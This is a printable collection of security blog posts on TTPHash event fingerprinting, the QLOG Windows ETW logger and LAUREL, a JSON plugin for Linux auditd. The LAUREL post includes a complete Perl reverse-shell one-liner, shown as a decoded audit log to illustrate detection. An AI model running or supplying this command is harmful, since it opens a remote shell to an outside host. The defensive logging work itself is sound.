This is the multi-page printable view of this section. Click here to print.

Return to the regular view of this page.

Blog

Posts

TTPHash - A possible approach for event fingerprinting
QLOG - ETW logging for process creation events
LAUREL: Linux Audit – Usable, Robust, Easy Logging

Posts

Wednesday, January 03, 2024

TTPHash - A possible approach for event fingerprinting

Thursday, December 30, 2021

The lack of a generally accepted method for calculating a telemetry event fingerprint to uniquely identify a specific event represents a gap in current telemetry collection practice. At present, the approach involves utilizing file hashes as a means to fingerprint observable entities, such as files. While file hashes serve as invaluable markers from the perspective of Indicators of Compromise (IOCs), their utility is restricted by their inability to furnish contextual insights regarding the event in question. This deficiency presents significant challenges to detection engineers tasked with detecting and mitigating security threats. Without access to comprehensive contextual data, these professionals have greater difficulty accurately interpreting and responding to potential security breaches.

TTPHash

While working on QLOG we developed the idea to create a fingerprint method for entire OS security events providing a more reliable and a less false positive prone way to do detection engineering in large scale networks. We decided to implement a PoC for TTPHash in QLOG for process create events to have a working piece of software to experiment with.

Anatomy of a TTPHash

Technically TTPHash is a SHA 256 Hash generated out of stable parts stable parts of a logged telemetry event on Windows systems. It aims to fingerprint an entire security event including contextual information rather than just fingerprinting PE files or binaries based on their hash or whatever. Generally TTPHash is OS version agnostic, to make sure we get always the same TTPHash for the same event on different windows systems, despite of different OS versions. Here is an example PROCESS CREATE Event captured by QLOG:

{
  "EventGuid": "630699d6-ec7b-4e93-8ff8-ebd34a4c1646",
  "StartTime": "2021-12-30T09:13:38.0867746+01:00",
  "QEventID": 100,
  "QType": "Process Create",
  "Username": "TESTPC\\TestUser",
  "UsernameSID": "S-1-5-21-2182592019-244663482-1304351122-1001",
  "Imagefilename": "NOTEPAD.EXE",
  "KernelImagefilename": "NOTEPAD.EXE",
  "OriginalFilename": "NOTEPAD.EXE",
  "Fullpath": "C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_10.2103.6.0_x64__8wekyb3d8bbwe\\Notepad\\Notepad.exe",
  "PID": 11272,
  "Commandline": "\"C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_10.2103.6.0_x64__8wekyb3d8bbwe\\Notepad\\Notepad.exe\" ",
  "Modulecount": 53,
  "TTPHash": "9A0227AC826AA2D8CBA9FCB92AD1465D2ACF8ECE1EF004EA4F36BE6939F253E5",
  "Imphash": "CA88689695B1E2B1E2A85FC73742E524",
  "sha256": "DEB5B0067E4AF84BB07FA3D84631CEE94787FB3BE7CDA11C0016992F54AB4DDA",
  "md5": "62F12AC2CE2C3E90C7D99809FF90AADA",
  "sha1": "48C2E57A9B5BB4D7277A70DD6F0BEFBDF5B23B6C",
  "ProcessIntegrityLevel": "Medium",
  "isOndisk": true,
  "isRunning": true,
  "Signed": "Not signed",
  "AuthenticodeHash": "",
  "Signatures": [],
  "isParent": false,
  "ParentProcess": {
    "EventGuid": null,
    "StartTime": "2021-12-29T12:22:13.6175162+01:00",
    "QEventID": 100,
    "QType": "Process Create",
    "Username": "TESTPC\\TestUser",
    "UsernameSID": "S-1-5-21-2182592019-244663482-1304351122-1001",
    "Imagefilename": "",
    "KernelImagefilename": "",
    "OriginalFilename": "EXPLORER.EXE",
    "Fullpath": "C:\\WINDOWS\\Explorer.EXE",
    "PID": 7008,
    "Commandline": "C:\\WINDOWS\\Explorer.EXE ",
    "Modulecount": 356,
    "TTPHash": "",
    "Imphash": "0DA09DC956F7D38FFB8EE50CCBA217BF",
    "sha256": "4C1D9F1CB41545DD46430130FC3F0E15665BD1948942B0B85410305DAA7AAA9C",
    "md5": "3F786F7D200D0530757B91C5C80BC049",
    "sha1": "FF02A95A759C1880FC580158062D43FDF3B85739",
    "ProcessIntegrityLevel": "Medium",
    "isOndisk": true,
    "isRunning": true,
    "Signed": "Signature valid",
    "AuthenticodeHash": "CD0E17F28F486759625C30A95E78BBC4BC0A3B697AF83B3E1C09267CAEEA51B3",
    "Signatures": [
      {
        "Subject": "CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US",
        "Issuer": "CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US",
        "NotBefore": "15.12.2020 22:29:13",
        "NotAfter": "02.12.2021 22:29:13",
        "DigestAlgorithmName": "SHA256",
        "Thumbprint": "F7C2F2C96A328C13CDA8CDB57B715BDEA2CBD1D9",
        "TimestampSignatures": [
          {
            "Subject": "CN=Microsoft Time-Stamp Service, OU=Thales TSS ESN:462F-E319-3F20, OU=Microsoft Operations Puerto Rico, O=Microsoft Corporation, L=Redmond, S=Washington, C=US",
            "Issuer": "CN=Microsoft Time-Stamp PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US",
            "NotBefore": "14.01.2021 20:02:14",
            "NotAfter": "11.04.2022 21:02:14",
            "DigestAlgorithmName": "SHA256",
            "Thumbprint": "A9C92B731AE7D10B21A6EA338E9FA5F8349F34BF",
            "Timestamp": "29.07.2021 11:39:24 +02:00"
          }
        ]
      }
    ],
    "isParent": false,
    "ParentProcess": null
  }
}

OK, here is the struct made of stable parts from the event. This struct is the input we will generate the TTPHash from:

TTPHash = Sha256({
  "QType": "Process Create",
  "UsernameSID": "S-1-5-21-2182592019-244663482-1304351122-1001",
  "KernelImagefilename": "NOTEPAD.EXE",
  "OriginalFilename": "NOTEPAD.EXE",
  "Fullpath": "C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_10.2103.6.0_x64__8wekyb3d8bbwe\\Notepad\\Notepad.exe",
  "Commandline": "\"C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_10.2103.6.0_x64__8wekyb3d8bbwe\\Notepad\\Notepad.exe\" ",
  "Imphash": "CA88689695B1E2B1E2A85FC73742E524",
  "sha256": "DEB5B0067E4AF84BB07FA3D84631CEE94787FB3BE7CDA11C0016992F54AB4DDA",
  "ProcessIntegrityLevel": "Medium",
  "isOndisk": true,
  "AuthenticodeHash": "",
  "ParentProcess": {
    "UsernameSID": "S-1-5-21-2182592019-244663482-1304351122-1001",
    "Imagefilename": "",
    "KernelImagefilename": "",
    "OriginalFilename": "EXPLORER.EXE",
    "Fullpath": "C:\\WINDOWS\\Explorer.EXE",
    "Commandline": "C:\\WINDOWS\\Explorer.EXE ",
    "Imphash": "0DA09DC956F7D38FFB8EE50CCBA217BF",
    "sha256": "4C1D9F1CB41545DD46430130FC3F0E15665BD1948942B0B85410305DAA7AAA9C",
    "ProcessIntegrityLevel": "Medium",
    "isOndisk": true,
    "isRunning": true,
    "AuthenticodeHash": "CD0E17F28F486759625C30A95E78BBC4BC0A3B697AF83B3E1C09267CAEEA51B3",
  }
})

Benefits using TTPHash

As shown in the example above, TTPHash provides a deterministic fingerprint for an entire event while NOT loosing the contextual information, like parent-child relationship, event type, command line, full path of the binaries involed, authenticode signature, loaded modules and so on. You can use the TTPHash to:

deterministic baselining of security events on your network
hunting for identical events on different or same Windows versions with a single hash>
less error prone and more secure way whitelisting of well know security events happening on your network
share TTPHash with the community, instead of sharing non contextual IOCs

Next steps

We see huge potential in using TTPHash for hunting, particulary on very large scale networks with many thousands of system where baselining of events is crucial. We will continue evaluation of TTPHash for “process create events”. TTPHash can also be applied to any other security events like network connections, image loads, file access and many more. Maybe we will also add TTPHash to Laurel in future. Stay tuned!

Credits: I want to thank @jdu2600 for inspiring us to call it TTPHash instead of EventHash.

@securityfreax

QLOG - ETW logging for process creation events

Wednesday, December 29, 2021

QLOG provides lightweigth userland logging of process create events on Windows written in C#. It’s under development and currently in experimental state. QLOG uses ETW to collect telemetry, it doesn’t use API hooks and it doesn’t require a driver to be installed on the target system, Currently QLOG supports “process create” events, but other enriched events may follow soon. QLOG runs as a Windows Services, but can also run in console mode, if you want to output to console directly. I’ve started QLOG to get a better understanding of Windows ETW and some Windows Eventlog APIs.

QLOG is a research experiment, please don’t use it on production systems.

Update July, 2022

We started QLOG as an experiment to learn more about Windows ETW. QLOG provides enriched Logging for process creation events on Windows. We have stopped development of QLOG because we ended QLOG development and startet a new project, which is now based on krabsEtw which provides a way better performance.

How does it work

QLOG reads from ETW, enriches events and writes enriched events to Event log channel “QLOG”.

Development & License

QLOG is being developed by threathunters.io community and will be open sourced once it reaches production grade maturity.

Why we created QLOG?

Sysmon does a great job, but we wanted to try to create a tool which is open source and doesn’t require drivers to be installed on target systems. So we started this experiment.

Usage & install

Download latest version of QLOG

QLOG requires .NET Framework >= 4.7.2 to be installed.
To run in interactive console mode, just run qlog.exe
install / deinstall as Windows service, run:
- install service: qlog.exe -i
- deinstall service: qlog.exe -u

Example output of enriched PROCESS CREATE events:

{
  "EventGuid": "630699d6-ec7b-4e93-8ff8-ebd34a4c1646",
  "StartTime": "2021-12-30T09:13:38.0867746+01:00",
  "QEventID": 100,
  "QType": "Process Create",
  "Username": "TESTPC\\TestUser",
  "UsernameSID": "S-1-5-21-2182592019-244663482-1304351122-1001",
  "Imagefilename": "NOTEPAD.EXE",
  "KernelImagefilename": "NOTEPAD.EXE",
  "OriginalFilename": "NOTEPAD.EXE",
  "Fullpath": "C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_10.2103.6.0_x64__8wekyb3d8bbwe\\Notepad\\Notepad.exe",
  "PID": 11272,
  "Commandline": "\"C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_10.2103.6.0_x64__8wekyb3d8bbwe\\Notepad\\Notepad.exe\" ",
  "Modulecount": 53,
  "TTPHash": "9A0227AC826AA2D8CBA9FCB92AD1465D2ACF8ECE1EF004EA4F36BE6939F253E5",
  "Imphash": "CA88689695B1E2B1E2A85FC73742E524",
  "sha256": "DEB5B0067E4AF84BB07FA3D84631CEE94787FB3BE7CDA11C0016992F54AB4DDA",
  "md5": "62F12AC2CE2C3E90C7D99809FF90AADA",
  "sha1": "48C2E57A9B5BB4D7277A70DD6F0BEFBDF5B23B6C",
  "ProcessIntegrityLevel": "Medium",
  "isOndisk": true,
  "isRunning": true,
  "Signed": "Not signed",
  "AuthenticodeHash": "",
  "Signatures": [],
  "isParent": false,
  "ParentProcess": {
    "EventGuid": null,
    "StartTime": "2021-12-29T12:22:13.6175162+01:00",
    "QEventID": 100,
    "QType": "Process Create",
    "Username": "TESTPC\\TestUser",
    "UsernameSID": "S-1-5-21-2182592019-244663482-1304351122-1001",
    "Imagefilename": "",
    "KernelImagefilename": "",
    "OriginalFilename": "EXPLORER.EXE",
    "Fullpath": "C:\\WINDOWS\\Explorer.EXE",
    "PID": 7008,
    "Commandline": "C:\\WINDOWS\\Explorer.EXE ",
    "Modulecount": 356,
    "TTPHash": "",
    "Imphash": "0DA09DC956F7D38FFB8EE50CCBA217BF",
    "sha256": "4C1D9F1CB41545DD46430130FC3F0E15665BD1948942B0B85410305DAA7AAA9C",
    "md5": "3F786F7D200D0530757B91C5C80BC049",
    "sha1": "FF02A95A759C1880FC580158062D43FDF3B85739",
    "ProcessIntegrityLevel": "Medium",
    "isOndisk": true,
    "isRunning": true,
    "Signed": "Signature valid",
    "AuthenticodeHash": "CD0E17F28F486759625C30A95E78BBC4BC0A3B697AF83B3E1C09267CAEEA51B3",
    "Signatures": [
      {
        "Subject": "CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US",
        "Issuer": "CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US",
        "NotBefore": "15.12.2020 22:29:13",
        "NotAfter": "02.12.2021 22:29:13",
        "DigestAlgorithmName": "SHA256",
        "Thumbprint": "F7C2F2C96A328C13CDA8CDB57B715BDEA2CBD1D9",
        "TimestampSignatures": [
          {
            "Subject": "CN=Microsoft Time-Stamp Service, OU=Thales TSS ESN:462F-E319-3F20, OU=Microsoft Operations Puerto Rico, O=Microsoft Corporation, L=Redmond, S=Washington, C=US",
            "Issuer": "CN=Microsoft Time-Stamp PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US",
            "NotBefore": "14.01.2021 20:02:14",
            "NotAfter": "11.04.2022 21:02:14",
            "DigestAlgorithmName": "SHA256",
            "Thumbprint": "A9C92B731AE7D10B21A6EA338E9FA5F8349F34BF",
            "Timestamp": "29.07.2021 11:39:24 +02:00"
          }
        ]
      }
    ],
    "isParent": false,
    "ParentProcess": null
  }
}

LAUREL: Linux Audit – Usable, Robust, Easy Logging

Saturday, December 25, 2021

LAUREL is an event post-processing plugin for auditd(8) to improve its usability in modern security monitoring setups.

Why?

Instead of audit events that look like this…

type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742…

…turn them into JSON logs where the mess that your pen testers/red teamers/attackers are trying to make becomes apparent at first glance:

{
    [...]
    "EXECVE": {
        "argc": 3,
        "ARGV": [
            "perl",
            "-e",
            "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"
        ]
    },
    [...]
}

This happens at the source. The generated event even contains useful information about the spawning process:

"PARENT_INFO":{"ARGV":["bash"],"launch_time":1626611323.973,"ppid":3190631}

Description

Logs produced by the Linux Audit subsystem and auditd(8) contain information that can be very useful in a SIEM context (if a useful rule set has been configured). However, the format is not well-suited for at-scale analysis: Events are usually split across different lines that have to be merged using a message identifier. Files and program executions are logged via PATH and EXECVE elements, but a limited character set for strings causes many of those entries to be hex-encoded. For a more detailed discussion, see Practical_auditd_problems.

LAUREL solves these problems by consuming audit events, parsing and transforming them into more data and writing them out as a JSON-based log format, while keeping all information intact that was part of the original audit log. It does not replace auditd as the consumer of audit messages from the kernel. Instead, it uses the audisp (“audit dispatch”) interface to receive messages via auditd(8). Therefore, it can peacefully coexist with other consumers of audit events (e.g. some EDR products).

Refer to [JSON-based log format](“https://github.com/threathunters-io/laurel/blob/master/json-format.md" target="_blank”) for a description of the log format. We developed this tool because we were not content with feature sets and performance characteristics of existing projects and products. Please refer to for details.

LAUREL Performance

While LAUREL was written with performance in mind, running it on busy systems with audit rule sets that actually produce log entries does incur some CPU overhead.

We have conducted benchmarks of LAUREL against auditd and several other tools. A load generator that spawns trivial processes (/bin/true) at a set frequency was used to generate load and CPU time (system+user) for all processes involved was measured. The number of exec events per second was chosen due to our experience with systems where hundreds of processes are spawned during regular operation. A custom tool, edr-loadgen, was written for this task.

As can be seen in the graph CPU consumption by auditd(8), its event dispatcher, and LAUREL combined is about twice as high as with a plain auditd(8) setup using the log_format=ENRICHED configuration option. We still see several oppurtunities for improvements.

All measurements involving the Linux audit framework were conducted on an AWS EC2 t2.small instance running Amazon Linunx 2. Since Sysmon for Linux does not (yet?) support that distribution’s kernel version, it was tested on Ubuntu 20.04.

Notes

CPU usage for all user-space processes that are involved in collecting and emitting events was measured. In LAUREL’s case, this included auditd and audispd. Sysmon for Linux writes its events through systemd-journald(8), so its CPU usage also had to be taken into account. Both go-audit and auditbeat are replacements for auditd that directly consume events from the kernel, so CPU usage had to be recorded only for one process. The numbers for Sysmon for Linux should be taken with a grain of salt since the experiments conducted so far only took CPU usage into account that was directly attributed to user-space processes. We are open to suggestions on how to compare the kernel/user interface for the Linux audit framework to the eBPF probes used by Sysmon. The log file produced by go-audit is JSONL-based which might lead to the conclusion that replacing auditd with go-audit might be a good choice. However go-audit solves only one of the log format quirks described in Practical auditd(8) problems and does not even perform all of the translations that auditd does when configured with log_format=ENRICHED.

GIT repository here